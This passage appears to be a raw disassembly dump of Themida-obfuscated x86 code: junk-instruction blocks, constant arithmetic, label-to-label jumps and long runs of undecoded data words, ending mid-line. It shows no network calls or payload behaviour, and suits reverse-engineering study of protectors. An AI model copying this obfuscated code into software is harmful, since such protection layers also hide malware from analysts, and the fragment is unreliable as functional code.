0ED005644h, 13005646h, 5800554Dh, 3B0055BAh, 0D90055E7h dd 0E10055EFh, 0AB005592h, 0FF00552Eh, 0E100563Ch, 0B4005538h dd 6F0055BBh, 9100563Bh, 0F8005597h, 0FF0055C1h, 8C005614h dd 6F0055D3h, 5C0055A2h, 0BB005630h, 8F005615h, 0EF0055C1h dd 74005642h, 0E7005636h, 140055B9h, 2E0055C8h, 5522h dd 0F300560Dh, 0B00055E6h, 5B00556Dh, 81005523h, 0F0005650h dd 47005640h, 0BC00554Ch, 0A700561Ch, 6500556Ch, 420055F7h dd 0F00055EEh, 1E005568h, 8E005539h, 28005649h, 40005569h dd 4700553Eh, 0A5005621h, 3700561Eh, 0ED005551h, 520055A2h dd 83005561h, 99005628h, 6E005532h, 24005664h, 7D0055B4h dd 0DC0055D5h, 0EE005574h, 74005619h, 3A00562Dh, 0D6005646h dd 1300566Ah, 0BE005607h db 0DCh, 55h, 0 ; --------------------------------------------------------------------------- loc_5516A7: ; CODE XREF: Themida_:00594F40j pusha pushf cld call $+5 pop edi sub edi, 62C5007h mov eax, edi add edi, 62C4D1Fh cmp eax, [edi+2Ch] jnz short loc_5516C5 jmp short loc_5516D8 ; --------------------------------------------------------------------------- loc_5516C5: ; CODE XREF: Themida_:005516C1j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5516D4 ; --------------------------------------------------------------------------- loc_5516CF: ; CODE XREF: Themida_:005516D6j add [edi+ecx*4+40h], eax dec ecx loc_5516D4: ; CODE XREF: Themida_:005516CDj or ecx, ecx jnz short loc_5516CF loc_5516D8: ; CODE XREF: Themida_:005516C3j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_5516E5: ; CODE XREF: Themida_:005516ECj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_5516E5 loc_5516EE: ; CODE XREF: Themida_:00552CFBj ; Themida_:00552ED9j ... lodsb jmp loc_5537A7 ; --------------------------------------------------------------------------- dd 89241C89h, 4C381E3h, 83000000h, 1C3304EBh, 241C3124h dd 5C241C33h, 0FF243C89h, 8B042474h, 5455243Ch, 4C5815Dh dd 83000000h, 2C8704C5h, 48F5C24h, 24248B24h, 9C2404D2h dd 0FFFFB9E9h, 2414F7FFh, 0B428E9h db 0 ; --------------------------------------------------------------------------- loc_55173D: ; CODE XREF: Themida_:00563239j push ebx mov bh, 0BEh add bh, 0C8h jmp loc_557D23 ; --------------------------------------------------------------------------- loc_551748: ; CODE XREF: Themida_:0055D3BEj push 32E6h mov [esp], edi push eax push 75FC7DC8h pop eax jmp loc_566ACC ; --------------------------------------------------------------------------- loc_55175C: ; CODE XREF: Themida_:00551A0Dj mov [esp], ebx push ecx mov ch, al mov bl, ch pop ecx mov dl, bl jmp loc_55A907 ; --------------------------------------------------------------------------- dd 8BC7315Ah, 0C4832404h, 32F1E904h, 4C010000h, 0B9510424h dd 9BD0096h, 8244C01h, 51585959h, 4B9h, 0AA48E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551796: ; CODE XREF: Themida_:00564A22j xor esi, 48295A31h add edi, esi pop esi mov ecx, edi pop edi not ecx shl ecx, 7 jmp loc_564AFD ; --------------------------------------------------------------------------- loc_5517AC: ; CODE XREF: Themida_:0055621Fj push ecx mov ch, 51h push 1AF2h mov [esp], ebx jmp loc_5534B9 ; --------------------------------------------------------------------------- dd 3CA3ED81h, 0E909F6A5h, 685Dh, 0C290000h, 0EC835924h dd 243C8904h, 0D4D38BFh, 5FF9312Fh, 0BEE6F181h, 0CF21EAAFh dd 81240C8Bh, 4C4h, 0E9C78100h, 816DFB22h, 28B83C7h, 0E9FE0141h dd 12FF4h ; --------------------------------------------------------------------------- loc_551800: ; CODE XREF: Themida_:0056140Dj pop esp add esp, 4 mov [edi+eax*4+1], bh push dword ptr [esp] jmp loc_55C3A8 ; --------------------------------------------------------------------------- loc_551813: ; CODE XREF: Themida_:0055903Cj push ecx jmp loc_564115 ; --------------------------------------------------------------------------- loc_551819: ; CODE XREF: Themida_:00561F79j mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push esi mov esi, 4 add ecx, 72792832h sub ecx, esi sub ecx, 72792832h pop esi push ecx push dword ptr [esp+4] jmp loc_5547FA ; --------------------------------------------------------------------------- loc_55184B: ; CODE XREF: Themida_:00558CE1j push edx mov edx, 29F6354Eh neg edx add edx, 29F63552h add edi, edx pop edx jmp loc_5585AE ; --------------------------------------------------------------------------- db 68h, 12h, 6Ch dd 1C890000h, 5D48BB24h, 53E9329Fh, 680000DCh, 3BCAh, 50240C89h dd 3FAE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551882: ; CODE XREF: Themida_:00555BDFj shr ebp, 5 not ebp or ebp, 162248E9h xor ebp, 398D7C37h or ebp, 60071CA8h sub ebp, 0CAC42F15h jmp loc_55F56D ; --------------------------------------------------------------------------- dd 8B2434FFh, 67E9242Ch, 5B000037h, 8A61E9h, 0DCE95200h db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5518BB: ; CODE XREF: Themida_:0055D378j mov eax, 0AFA662FEh sub eax, edi pop edi jmp loc_552489 ; --------------------------------------------------------------------------- loc_5518C8: ; CODE XREF: Themida_:005573DFj add al, bh jmp loc_562D39 ; --------------------------------------------------------------------------- db 81h dd 5B4212C7h, 94C7813Ch, 1AC00AEh, 0F7685FFAh, 8900005Bh dd 0CDBD242Ch, 50672914h, 0DA60FFB8h, 3FDCE969h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5518F6: ; CODE XREF: Themida_:00562390j shr edx, 1 jmp loc_55FA57 ; --------------------------------------------------------------------------- loc_5518FD: ; CODE XREF: Themida_:005650B5j push 66980C90h pop ebx or ebx, 32636166h jmp loc_558789 ; --------------------------------------------------------------------------- dw 34FFh dd 50525A24h, 405E089h, 83000000h, 0E1E904E8h, 40000F9h dd 362C5929h, 3604D800h, 12A068h, 24148900h, 0B457E9h dd 61E95100h, 89000107h, 0E789243Ch, 7BDBBA52h, 0F2813D19h dd 7203DE1h, 8104E2C1h, 9463A4F2h, 5AD701A3h, 0BE81E950h dd 14870000h, 24248B24h, 100A4E9h db 0 ; --------------------------------------------------------------------------- loc_55196D: ; CODE XREF: Themida_:005638AFj push ecx mov cl, 47h dec cl dec cl xor cl, al xor al, cl xor cl, al jmp loc_554214 ; --------------------------------------------------------------------------- db 83h dd 0FF5104C1h, 59042474h, 0E924048Fh, 0A4F0h, 4875D5Fh dd 24248B24h, 1009FE9h db 0 ; --------------------------------------------------------------------------- loc_55199D: ; CODE XREF: Themida_:00561132j add edx, 4 jmp loc_5551F1 ; --------------------------------------------------------------------------- db 81h, 0C3h, 2 dd 68000000h, 25A4h, 68242C89h, 175Eh, 1049BE9h, 3FB4BA00h dd 0C28169FDh, 0FD40D52h, 0E2D1DAF7h, 0F0EDC281h, 0D0015D1Ah dd 2E58255Ah, 0E8C16948h, 0F7504005h, 0E958241Ch, 54Ah ; --------------------------------------------------------------------------- loc_5519E8: ; CODE XREF: Themida_:00563373j not dword ptr [esp] pop edx push 3A82h mov [esp], eax jmp loc_55B51B ; --------------------------------------------------------------------------- aANUainsz db '€Ã(ã€ëé‡#',0 align 2 loc_551A06: ; CODE XREF: Themida_:0056379Ej add al, 0Ah push 313Ah jmp loc_55175C ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 55000000h, 3A3BB3BDh, 0AE5816Ah, 811D3578h dd 6018FCF5h, 0F7DD877Ch, 0C1DD87D3h, 7CE902E5h, 210000AAh dd 0F58158C5h, 2800984h, 2130C681h, 0EE015B63h, 6BFFE9h dd 2434FF00h, 2637E958h db 1, 0 ; --------------------------------------------------------------------------- loc_551A5A: ; CODE XREF: Themida_:00551A7Aj add ebp, 4 add ebp, 4 jmp loc_558B5B ; --------------------------------------------------------------------------- db 35h dd 1FF5F004h, 81E9C589h db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_551A5A ; --------------------------------------------------------------------------- db 81h dd 0AD2384EDh, 0E9EB0137h, 5669h, 295EF031h, 0D02158C2h dd 1C77FF5Ah, 0FF2434FFh, 50592434h, 5404EC83h, 5224048Fh dd 52C9E9h, 53DAF600h, 83A3E9h, 32C78100h, 816C3523h, 0A56795C7h dd 24048B39h, 3304C483h, 3C31243Ch, 243C3324h, 0E924248Bh dd 0C796h, 2003F280h, 0E4C05AD4h, 0E9ECD002h, 1735h, 805FC380h dd 515851C3h, 0C1807EB1h, 59CB003Fh, 0EB80C328h, 97E950BDh dd 8B00014Dh, 3368240Ch, 8900003Bh, 89562434h, 4C681E6h dd 57000000h, 6E319FBFh, 1C44E97Ah, 0EA810001h, 0FF300F9Eh dd 815AD701h, 4C7h, 0EE95700h, 540000CBh, 601E9h db 0 ; --------------------------------------------------------------------------- loc_551B3D: ; CODE XREF: Themida_:005637FFj add ebx, 2 jmp loc_553FDA ; --------------------------------------------------------------------------- aPSooXIsR db 'P¸sOŽ»)ÅX)ëéË',0 dd 24248B00h, 0E99CC83Bh, 0FFFFFB8Eh, 0E9240487h, 145C7h ; --------------------------------------------------------------------------- loc_551B68: ; CODE XREF: Themida_:0055E85Aj pop ebx and eax, esi mov esi, [esp] add esp, 4 or eax, eax jz loc_560E85 push 1B4Fh mov [esp], ebx push esi push ebp mov ebp, 1Ch mov esi, ebp pop ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_55DCC9 ; --------------------------------------------------------------------------- loc_551BA5: ; CODE XREF: Themida_:00557349j mov [esp], ebx jmp loc_55F2C4 ; --------------------------------------------------------------------------- loc_551BAD: ; CODE XREF: Themida_:0055F4EFj push 126Ah mov [esp], edi mov edi, 1FD943FFh push ebx push ecx mov ecx, 20FF5E1Ah inc ecx not ecx inc ecx jmp loc_553E4F ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 83000000h, 0FF5304EBh, 0E9042474h, 8411h dd 0E9242C8Bh, 14456h, 2474FF50h, 48F5804h, 4895C24h, 4941E924h db 1, 0 ; --------------------------------------------------------------------------- loc_551BFA: ; CODE XREF: Themida_:005587C5j sub edi, 459C253Dh pop esi sub ecx, edi pop edi sub ecx, 0B17D5352h jmp loc_563702 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFFADAh, 0C681E689h, 4, 0E904C683h, 72ACh, 0B850EF01h dd 2EFA3B6Ah, 0C635D8F7h, 1E7C28Ch, 4BE958C7h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551C3B: ; CODE XREF: Themida_:005634A8j push dword ptr [esp+4] pop ebp jmp loc_559DD9 ; --------------------------------------------------------------------------- db 5Ch, 89h, 1Ch dd 1C8B5424h, 4C48324h, 4C381h, 0BA520000h, 6B95012Ch dd 7099E9h, 4C18300h, 5C240C87h, 5C24048Fh, 68C8BF0Fh dd 158Fh, 0E9240C89h, 0FFFFFA72h, 2971BBBEh, 0BFF6816Ch dd 686C2971h, 3998h, 11FF8E9h, 243C8700h, 24248Bh, 241C8BF8h dd 4C481h, 0D8280000h, 0EC819A2Ch, 2, 127B2E9h db 0 ; --------------------------------------------------------------------------- loc_551CB1: ; CODE XREF: Themida_:00559325j mov ecx, 1CD87692h neg ecx or ecx, 3A785907h shr ecx, 6 sub esp, 4 mov [esp], edi jmp loc_555764 ; --------------------------------------------------------------------------- aFqLaadaI db 'ÐäQµl€í„€ì›',0 db 0ECh dd 0E99BC480h, 0F52Ch ; --------------------------------------------------------------------------- loc_551CE4: ; CODE XREF: Themida_:00553280j push ebp mov ebp, 268B2CBBh jmp loc_55881B ; --------------------------------------------------------------------------- loc_551CEF: ; CODE XREF: Themida_:00564F3Cj mov ebx, 601559C4h jmp loc_55B0EB ; --------------------------------------------------------------------------- db 51h, 0B9h, 0A0h dd 0C10AD917h, 494102E9h, 14A32E9h db 0 ; --------------------------------------------------------------------------- loc_551D09: ; CODE XREF: Themida_:005601F8j or ebp, edi pop edi push eax push ecx jmp loc_55F527 ; --------------------------------------------------------------------------- loc_551D13: ; CODE XREF: Themida_:005633F3j and dh, 3 shr dh, 1 xor dh, 0B9h sub bl, dh pop edx sub bl, 5Bh sub bl, 0DBh push 4220h mov [esp], eax mov eax, esp push edx mov edx, 39E3356Ah not edx xor edx, 1D073704h sub edx, 2E2228A4h xor edx, 66AB36C4h sub edx, 179C6F37h xor edx, 0B2B672F6h add eax, edx mov edx, [esp] add esp, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], eax sub esp, 4 mov [esp], ecx jmp loc_564D8A ; --------------------------------------------------------------------------- db 81h dd 1DEE22C1h, 59CD89B5h, 0CD81D5F7h, 69E5146Fh, 7A81CD81h dd 0ECE94C44h, 5D00006Ch, 542D4040h, 0E909FE30h, 0AEA3h dd 2B0CE781h, 0DFF721FBh, 8108EFC1h, 16C176EFh, 0E9FA01F5h dd 0BA1Bh ; --------------------------------------------------------------------------- loc_551DBC: ; CODE XREF: Themida_:00560E1Cj inc dword ptr [esp] pop edi jmp loc_558292 ; --------------------------------------------------------------------------- loc_551DC5: ; CODE XREF: Themida_:00563CD2j push eax push edx mov edx, 197E2D93h mov eax, 197E2D97h xor eax, edx pop edx add ebp, 2FF25C1Fh add ebp, eax push ecx jmp loc_55FFAE ; --------------------------------------------------------------------------- dw 8852h dd 593E9EEh, 0EE890000h, 242C8156h, 470668h, 68C3815Bh dd 8B004706h, 2DE92434h, 8B00004Bh, 0C4832414h, 6EEC104h dd 0F94B951h, 0C9814355h, 23C533ECh, 0E1C1D9F7h, 80C18103h dd 18F914Eh, 0EE8159CEh, 72DB5AA0h, 685EF101h, 718Eh, 52243C89h dd 86636BBAh, 5AD78951h, 1132BE9h db 0 ; --------------------------------------------------------------------------- loc_551E45: ; CODE XREF: Themida_:00565A8Fj sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx mov bl, al jmp loc_553FD3 ; --------------------------------------------------------------------------- dd 83242C8Bh, 596804C4h, 0E900004Eh, 0DB96h, 81D6015Dh dd 1367E7EEh, 0CBC6816Fh, 0E948A564h, 0D59Bh, 0FFF841E9h dd 241C89FFh, 242D68h, 24148900h, 396E951h, 48F0000h, 3C8B5C24h dd 4C48324h, 2ADCE9h, 5B685800h, 8900000Ah, 74FF2414h dd 0E95A0424h, 0A0B2h, 0E958C501h, 140B4h, 27BF5742h, 8108736Eh dd 206149EFh, 45B9E93Fh db 1, 0 ; --------------------------------------------------------------------------- loc_551EFA: ; CODE XREF: Themida_:0055D287j mov edi, 2C5212E2h xor edi, 20A9311Eh jmp loc_555542 ; --------------------------------------------------------------------------- dw 875Dh dd 0FF5C241Ch, 48B2434h, 4C48324h, 2463E957h, 0E95C0000h dd 0E463h, 8704C783h, 248B243Ch, 0F7BCE924h, 892DFFFFh dd 0E9FCB5FEh, 2CA7h, 0F9CCE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551F42: ; CODE XREF: Themida_:0055318Bj mov [esp], ebx push 3756BA1Bh pop ebx xor eax, ebx push dword ptr [esp] pop ebx jmp loc_558211 ; --------------------------------------------------------------------------- dw 0C89h dd 167DB924h, 0B7E91CB6h, 6800007Eh, 3984h, 51243C89h dd 0C1BB53h, 0CDB9354Eh, 31495E0Ch, 0F1815BD9h, 1AC51E6Ah dd 2C4E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551F86: ; CODE XREF: Themida_:005669C0j push dword ptr [esp] jmp loc_55B84E ; --------------------------------------------------------------------------- aZmwsn db 'ZMWéNÃ',0 align 2 dw 0EE81h dd 71A51C66h, 739ABB53h, 0DBF74634h, 4884E9h, 0E9D6F600h dd 0F479h ; --------------------------------------------------------------------------- loc_551FB0: ; CODE XREF: Themida_:0055CAEDj push eax mov al, 0B2h push bx mov bh, 72h or al, bh pop bx sub al, 1 shr al, 3 jmp loc_55E37F ; --------------------------------------------------------------------------- db 51h, 0B9h, 0EEh dd 104E558h, 0FA2959CAh, 8904EC83h, 0EEBF243Ch, 2904E558h dd 0EA815FFAh, 22B46889h, 5EBD5550h, 0E91D9517h, 5130h ; --------------------------------------------------------------------------- loc_551FF0: ; CODE XREF: Themida_:0056612Aj push edi mov edi, esp jmp loc_5668F2 ; --------------------------------------------------------------------------- loc_551FF8: ; CODE XREF: Themida_:0056598Aj push dword ptr [esp] pop edx push edi mov edi, esp add edi, 4 push ebx mov ebx, 8071524h shr ebx, 4 inc ebx jmp loc_559C32 ; --------------------------------------------------------------------------- loc_552014: ; CODE XREF: Themida_:0055B809j pop edx mov esi, edi mov edi, [esp] push eax mov eax, esp jmp loc_56559E ; --------------------------------------------------------------------------- dw 0C681h dd 774A5210h, 46B85051h, 0E9403375h, 1140Ah, 0C681E689h dd 4, 81E38953h, 4C3h, 9AC2E900h, 32680000h, 89000022h dd 0E2892414h, 4C281h, 74E90000h, 81000086h, 7A222BE9h dd 15C18123h, 0E9326024h, 0A67Ah, 4240481h, 0FF000000h dd 2C8B2434h, 4C48324h, 0E9E78957h, 1400Fh, 2800EB80h dd 7583E9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552092: ; CODE XREF: Themida_:0055641Bj sub eax, edi jmp loc_556CE7 ; --------------------------------------------------------------------------- db 81h, 0CEh, 78h dd 0C1610942h, 0EE8108EEh, 16A4640Fh, 0BDBAE9h, 64B15100h dd 0C8BCC00h, 4C48324h, 8085B652h, 0F400ECF6h, 88C4E9h dd 29ED8100h, 8163227Eh, 0CF64E0F5h, 0F863E956h, 1C8B0000h dd 1442E924h, 70350000h, 0E95D69D6h, 7F27h ; --------------------------------------------------------------------------- loc_5520E8: ; CODE XREF: Themida_:00559005j shl edx, 1 push 1010h mov [esp], ecx push edx jmp loc_55BDF3 ; --------------------------------------------------------------------------- loc_5520F8: ; CODE XREF: Themida_:005548E7j pop ebx xor dh, 35h sub bl, 4Ah sub bl, dh add bl, 4Ah pop edx jmp loc_5653A5 ; --------------------------------------------------------------------------- dw 0FF66h dd 66022474h, 68240C8Bh, 51B6h, 89240C89h, 4C181E1h, 0E9000000h dd 7D73h, 5C240487h, 0B951D387h, 7FA92680h, 0C8BCB29h dd 3913E924h, 815A0001h, 4C2h, 0EBE5600h, 816D2D03h, 4963B2EEh dd 36F0E935h, 0FF520001h, 0FE9240Ch, 53000073h, 0DAEBE957h dd 68680000h, 89000027h, 0E789243Ch, 3EC268h, 24348900h dd 4BEh, 2D61E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552182: ; CODE XREF: Themida_:00566AD1j not eax push ebp jmp loc_55FD7C ; --------------------------------------------------------------------------- dw 0C601h dd 3246EE81h, 555800F8h, 1295B850h, 0F7405A59h, 86BC2DD0h dd 0C5894A9Ch, 0B8505658h, 502F2D0Eh, 12E9D8F7h, 88000096h dd 5353E9E6h, 515A0000h, 7FD3E9h, 4C68300h, 8B243487h dd 0E9C12424h, 0F0F18107h, 0E97F6D30h, 50E3h, 8904EC83h dd 0E2892414h, 4C281h, 0EA830000h, 24148704h, 2434895Ch dd 144DE9h db 0 ; --------------------------------------------------------------------------- loc_5521F5: ; CODE XREF: Themida_:00554AA4j sub dword ptr [esp+4], 24FE46B3h jmp loc_56064B ; --------------------------------------------------------------------------- dw 4BFh dd 81000000h, 0DB3D12C1h, 6E5DE91Bh, 0D7E90000h, 66FFFFF4h dd 5624048Bh, 89515E54h, 4BF57E1h, 1000000h, 0E6CEE9F9h dd 34FF0000h, 2434FF24h, 1312AE9h, 2474FF00h, 48F5804h dd 0EC835C24h, 0F4AAE904h, 7868FFFFh, 0E92D4546h, 112F5h dd 5859E952h, 0BA520000h, 4, 4244481h, 39C1D97h, 4245401h dd 0FCE8E9h db 0 ; --------------------------------------------------------------------------- loc_552271: ; CODE XREF: Themida_:0055349Ej pop edi jmp loc_55C37D ; --------------------------------------------------------------------------- db 1 aSti db 'Ýétë',0 align 2 aAai db '€íi',0 dw 8BEBh dd 76E9240Ch, 5C000011h, 31BCE9h db 0 ; --------------------------------------------------------------------------- loc_552291: ; CODE XREF: Themida_:005532AFj push 0 push eax mov eax, 4B1D0AFEh sub [esp+4], eax pop eax jmp loc_5639AF ; --------------------------------------------------------------------------- dw 0C281h dd 1471E9D8h, 15AD501h, 0F856E9EEh, 348B0000h, 4C48124h dd 4D000000h, 4524F581h, 0EE012951h, 5EF2015Dh, 2C281h dd 14330000h, 24143124h, 5C241433h, 9C240400h, 0FFF409E9h dd 241433FFh, 33241431h, 0F75C2414h, 8DF68F9h, 2C890000h dd 3DE95424h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5522FF: ; CODE XREF: Themida_:0055855Fj mov ebx, 14A52333h sub ecx, ebx jmp loc_5580FD ; --------------------------------------------------------------------------- loc_55230B: ; CODE XREF: Themida_:0055AE4Cj pop esp pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push 2F55h mov [esp], ecx push 163E79B5h push dword ptr [esp] mov ecx, [esp] push ebx push esp pop ebx push ecx mov ecx, 4 add ebx, ecx pop ecx jmp loc_55D2D9 ; --------------------------------------------------------------------------- dd 762FA0BFh, 0C5BE5622h, 3129EB4Fh, 0C4E95EF7h, 50000A6h dd 266E6095h, 0B2E9F801h, 640000A0h, 8BE9028Fh, 66FFFFF3h dd 65BE6656h, 0F1296644h, 51665E66h, 2414F766h, 240C8B66h dd 0F451E9h, 5AF38800h, 57240C8Bh, 0C7815F54h, 4, 0CA68E9h db 0 ; --------------------------------------------------------------------------- loc_552391: ; CODE XREF: Themida_:0055798Cj shr ecx, 2 push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] jmp loc_5567AD ; --------------------------------------------------------------------------- db 52h dd 0C281E289h, 4, 10A8AE9h, 0E957B600h, 12ED6h, 50241C89h dd 1419FE9h db 0 ; --------------------------------------------------------------------------- loc_5523CD: ; CODE XREF: Themida_:00565E8Ej inc ecx xchg ebx, ecx not ebx xchg ebx, ecx shr ecx, 1 push edi jmp loc_55A74B ; --------------------------------------------------------------------------- dd 83242489h, 0FF042404h, 53582434h, 0C381E389h, 4, 3304C383h dd 1C31241Ch, 241C3324h, 6824248Bh, 7C82h, 0B9240C89h dd 5B3D12AEh, 81FFE983h, 6F451EC1h, 31D7E922h, 46590000h dd 6E82E9h, 0DBBA6600h, 0D72966D7h, 66535A66h, 6656FB89h dd 8966DE89h, 34FF5EF5h, 38E95B24h, 8BFFFFF6h, 0FBE9243Ch db 0AFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552447: ; CODE XREF: Themida_:005549D6j push eax jmp loc_55B0E1 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 87h dd 87D6F7F7h, 0A9F0E9F7h, 0DE010000h, 7BF0BD55h, 0EE2949CCh dd 0FF6AE9h, 3A9A2D00h, 0E5E9026Eh, 5B000035h, 5904C483h dd 380BB850h, 29E9700Eh, 50000126h, 10368E9h db 0 ; --------------------------------------------------------------------------- loc_552489: ; CODE XREF: Themida_:005518C3j sub eax, 443B399Ah jmp loc_55E912 ; --------------------------------------------------------------------------- db 4 aSsza db '¸SézA',0 dw 4700h dd 0F831C731h, 0D0F7C731h, 9E1EE997h, 815E0000h, 5F1B6EC7h dd 0E9D7013Eh, 12D00h ; --------------------------------------------------------------------------- loc_5524B8: ; CODE XREF: Themida_:0055847Bj mov esi, 53433C7Ah add esi, 52781E85h inc esi push eax push edi mov edi, 674901CCh push esi mov esi, edi mov eax, esi pop esi pop edi sub esi, eax pop eax push edx mov edx, 479D20F7h sub edx, 2C7D0514h sub edx, 76815204h shr edx, 8 or edx, 17456695h neg edx add edx, 9516126Fh add esi, edx pop edx jmp loc_55B62D ; --------------------------------------------------------------------------- dd 68241489h, 5518h, 0BD242C89h, 0D87137Bh, 2414F755h dd 5D2434FFh, 4EC81h, 34890000h, 3A18E924h db 1, 0 ; --------------------------------------------------------------------------- loc_552526: ; CODE XREF: Themida_:00558C1Dj add ecx, esi pop esi add ecx, 4 jmp loc_56373C ; --------------------------------------------------------------------------- dd 0F52801B6h, 8BCD805Ah, 28E9B252h, 0E5C05AD5h, 0B1F58004h dd 30B0C580h, 0C8B66E8h, 4C376824h, 4890000h, 48B5424h dd 4C48124h, 56000000h, 9E031DBEh, 0A5E9534Bh db 0E7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55256F: ; CODE XREF: Themida_:00557385j add edx, edi mov eax, [edx] jmp loc_564BA3 ; --------------------------------------------------------------------------- dd 0D1C3805Ah, 0F54EE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552582: ; CODE XREF: Themida_:00552BA0j pop eax sub eax, 4B2445D0h mov ebx, eax pop eax sub ebp, ebx jmp loc_55CFF8 ; --------------------------------------------------------------------------- aBFbqHIsa db 'ÇÁ/<FïÛH',9,'iéAê',0 dw 5B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 4AC3h mov [esp], ebx mov ebx, 55A93ABEh sub ebx, 285D7FCAh push esi mov esi, 634459CDh sub ebx, esi pop esi neg ebx xor ebx, 662D51D1h jmp loc_561BF1 ; --------------------------------------------------------------------------- dd 0C7815F54h, 4, 6EF668h, 24348900h, 0D9184DBEh, 50DEF71Fh dd 725DE9h, 24E95D00h, 560000AFh, 0A706B068h, 0E9565E39h dd 6589h ; --------------------------------------------------------------------------- loc_552600: ; CODE XREF: Themida_:005645F3j not ecx inc ecx inc ecx sub ecx, 45704CF2h inc ecx sub ecx, 63E721Ch or ebx, ecx jmp loc_556BD8 ; --------------------------------------------------------------------------- dd 4C381h, 0EB830000h, 3A88E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552626: ; CODE XREF: Themida_:00561073j inc ebx not ebx shl ebx, 4 add ebx, 1 shr ebx, 2 sub ebx, 85F16FFBh add ebp, ebx mov ebx, [esp] add esp, 4 pop edi push eax push ebx jmp loc_5617A7 ; --------------------------------------------------------------------------- loc_552648: ; CODE XREF: Themida_:00558007j xchg eax, [esp] pop esp or [edi+1Ch], eax jmp loc_55492F ; --------------------------------------------------------------------------- dd 15EF389h, 5B04245Ch, 4EC815Eh, 89000000h, 4BA2414h dd 68000000h, 25A6h, 0BA241489h, 36A60995h, 13E9D601h dd 8B0000B1h, 0C7E92414h, 68000086h, 4458h, 0BE243489h dd 25105DB3h, 754EEE81h, 0BB533F53h, 0 dd 8153F329h, 6D9D242Ch, 815E0784h, 846D9DC6h, 0C2EEE907h dd 0C6810000h, 4, 4EE81h, 34870000h, 3039E924h, 505F0000h dd 12733E9h, 42B35300h, 8007E380h, 0DE00C0C3h, 0E953515Bh dd 0B2E7h, 34FFD821h, 0C4835B24h, 0D1C20904h, 3EF368E2h dd 0C890000h, 2A74E924h, 0D6310000h, 8124148Bh, 4C4h, 0FFF08900h dd 34FF2434h, 0CD01E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552716: ; CODE XREF: Themida_:00561882j push ebp jmp loc_559B6C ; --------------------------------------------------------------------------- loc_55271C: ; CODE XREF: Themida_:00565E51j pop ebx sub ah, 0D0h add cl, ah jmp loc_55F666 ; --------------------------------------------------------------------------- db 0D1h dd 6FCB81E3h, 815E8B3Dh, 55589CC3h, 0B4EB8114h, 3137FC2Bh dd 0BB535BDFh, 5CC446FCh, 0D11E9h db 0 ; --------------------------------------------------------------------------- loc_552749: ; CODE XREF: Themida_:0055277Aj xchg ecx, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] pop eax sub esp, 4 mov [esp], ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 jmp loc_5556AC ; --------------------------------------------------------------------------- loc_552774: ; CODE XREF: Themida_:0056422Cj sub ecx, 4 jmp loc_552749 ; --------------------------------------------------------------------------- db 0BFh dd 37BB255Fh, 0E95FF821h, 8590h, 46E9642Ch, 66000039h dd 52240C8Bh, 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 25E92424h dd 6800004Dh, 3EB5h, 0B9240C89h, 57491524h, 0CBA5E981h dd 0CB01FD61h, 0D9EB8159h, 814D8F14h, 962E14CBh, 0EDB95173h dd 1884951h, 240C8BCBh, 1204CE9h, 2474FF00h, 2434FF04h dd 4C4835Fh, 0E924048Fh, 89BBh, 40E95457h, 0BE000143h dd 7214729Ah, 0A6E9514Eh, 5A0000B0h, 7DAF685Ah, 1C890000h dd 0E9E38924h, 0FFFFFE00h, 0E681D6F7h, 672E03BBh, 0C681D6F7h dd 6B11050Dh, 55EF029h, 1E665017h, 2404335Bh, 33240431h dd 248B2404h, 0B8505324h, 17FF0236h, 158C389h, 8B04245Ch dd 8956241Ch, 1347E9E6h, 0EC810000h, 4, 7520E9h, 0E9582C00h dd 57FAh ; --------------------------------------------------------------------------- loc_552868: ; CODE XREF: Themida_:0055815Aj mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_559CAB ; --------------------------------------------------------------------------- loc_552883: ; CODE XREF: Themida_:0055BB99j pop edi add ecx, ebp pop ebp push 48A6h mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] movsx cx, al push 371h mov [esp], edx push 0C60h mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx jmp loc_553957 ; --------------------------------------------------------------------------- dw 4B9h dd 29000000h, 2C8759CDh, 0C895C24h, 87CDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5528D2: ; CODE XREF: Themida_:0055C72Bj mov eax, 18FB38EBh jmp loc_55962E ; --------------------------------------------------------------------------- dd 0A925ED81h, 0EB0101F9h, 